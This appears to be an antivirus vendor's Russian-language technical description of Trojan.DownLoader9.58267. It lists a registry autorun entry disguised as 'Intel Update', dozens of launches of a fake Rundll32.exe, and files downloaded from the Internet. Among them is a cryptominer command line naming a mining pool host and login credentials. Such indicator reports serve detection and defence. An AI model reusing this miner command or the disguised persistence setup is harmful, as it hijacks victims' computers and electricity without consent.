Trojan.DownLoader9.58267

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Intel Update' = '%APPDATA%\Intel\Loader.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\Intel\Rundll32.exe' /pid=4156
'%APPDATA%\Intel\Rundll32.exe' /pid=5408
'%APPDATA%\Intel\Rundll32.exe' /pid=3888
'%APPDATA%\Intel\Rundll32.exe' /pid=5508
'%APPDATA%\Intel\Rundll32.exe' /pid=5668
'%APPDATA%\Intel\Rundll32.exe' /pid=4344
'%APPDATA%\Intel\Rundll32.exe' /pid=3128
'%APPDATA%\Intel\Rundll32.exe' /pid=4448
'%APPDATA%\Intel\Rundll32.exe' /pid=5748
'%APPDATA%\Intel\Rundll32.exe' /pid=4356
'%APPDATA%\Intel\Rundll32.exe' /pid=2492
'%APPDATA%\Intel\Rundll32.exe' /pid=6140
'%APPDATA%\Intel\Rundll32.exe' /pid=3656
'%APPDATA%\Intel\Rundll32.exe' /pid=4880
'%APPDATA%\Intel\Rundll32.exe' /pid=4508
'%APPDATA%\Intel\Rundll32.exe' /pid=3588
'%APPDATA%\Intel\Rundll32.exe' /pid=2984
'%APPDATA%\Intel\Rundll32.exe' /pid=4408
'%APPDATA%\Intel\Rundll32.exe' /pid=4788
'%APPDATA%\Intel\Rundll32.exe' /pid=3628
'%APPDATA%\Intel\Rundll32.exe' /pid=5720
'%APPDATA%\Intel\Rundll32.exe' /pid=4016
'%APPDATA%\Intel\Rundll32.exe' /pid=5448
'%APPDATA%\Intel\Rundll32.exe' /pid=4184
'%APPDATA%\Intel\Rundll32.exe' /pid=4988
'%APPDATA%\Intel\Rundll32.exe' /pid=5788
'%APPDATA%\Intel\Rundll32.exe' /pid=4376
'%APPDATA%\Intel\Rundll32.exe' /pid=3052
'%APPDATA%\Intel\Rundll32.exe' /pid=2744
'%APPDATA%\Intel\Rundll32.exe' /pid=5328
'%APPDATA%\Intel\Rundll32.exe' /pid=2992
'%APPDATA%\Intel\Rundll32.exe' /pid=5948
'%APPDATA%\Intel\Rundll32.exe' /pid=3708
'%APPDATA%\Intel\Rundll32.exe' /pid=5940
'%APPDATA%\Intel\Rundll32.exe' /pid=3388
'%APPDATA%\Intel\Rundll32.exe' /pid=5208
'%APPDATA%\Intel\Rundll32.exe' /pid=4028
'%APPDATA%\Intel\Rundll32.exe' /pid=2656
'%APPDATA%\Intel\Rundll32.exe' /pid=5548
'%APPDATA%\Intel\Rundll32.exe' /pid=3516
'%APPDATA%\Intel\Rundll32.exe' /pid=5008
'%APPDATA%\Intel\Rundll32.exe' /pid=4176
'%APPDATA%\Intel\Rundll32.exe' /pid=5188
'%APPDATA%\Intel\Rundll32.exe' /pid=4708
'%APPDATA%\Intel\Rundll32.exe' /pid=1496
'%APPDATA%\Intel\Rundll32.exe' /pid=2604
'%APPDATA%\Intel\Rundll32.exe' /pid=4528
'%APPDATA%\Intel\Rundll32.exe' /pid=800
'%APPDATA%\Intel\Rundll32.exe' /pid=3508
'%APPDATA%\Intel\Rundll32.exe' /pid=5200
'%APPDATA%\Intel\Rundll32.exe' /pid=5300
'%APPDATA%\Intel\Rundll32.exe' -a sha256 -g no -o eu.triplemining.com:8344 -u executioner_executioner -p kala123 -t 2
'%APPDATA%\Intel\Rundll32.exe' /pid=5080
'%APPDATA%\Intel\Rundll32.exe' /pid=5660
'%APPDATA%\Intel\Rundll32.exe' /pid=4480
'%APPDATA%\Intel\Rundll32.exe' /pid=3608
'%APPDATA%\Intel\Rundll32.exe' /pid=6040
'%APPDATA%\Intel\Rundll32.exe' /pid=5428
'%APPDATA%\Intel\Rundll32.exe' /pid=5108
'%APPDATA%\Intel\Rundll32.exe' /pid=3024
'%APPDATA%\Intel\Rundll32.exe' /pid=4928
'%APPDATA%\Intel\Rundll32.exe' /pid=4244
'%APPDATA%\Intel\Rundll32.exe' /pid=5840
'%APPDATA%\Intel\Rundll32.exe' /pid=3308
'%APPDATA%\Intel\Rundll32.exe' /pid=5088
'%APPDATA%\Intel\Rundll32.exe' /pid=4980
'%APPDATA%\Intel\Rundll32.exe' /pid=2680
'%APPDATA%\Intel\Rundll32.exe' /pid=6048
'%APPDATA%\Intel\Rundll32.exe' /pid=4888
'%APPDATA%\Intel\Rundll32.exe' /pid=276
'%APPDATA%\Intel\Rundll32.exe' /pid=4008
'%APPDATA%\Intel\Rundll32.exe' /pid=5320
'%APPDATA%\Intel\Rundll32.exe' /pid=5848
'%APPDATA%\Intel\Rundll32.exe' /pid=5640
'%APPDATA%\Intel\Rundll32.exe' /pid=2812
'%APPDATA%\Intel\Rundll32.exe' /pid=5628
'<SYSTEM32>\cmd.exe' (загружен из сети Интернет)
'%APPDATA%\Intel\Rundll32.exe' (загружен из сети Интернет)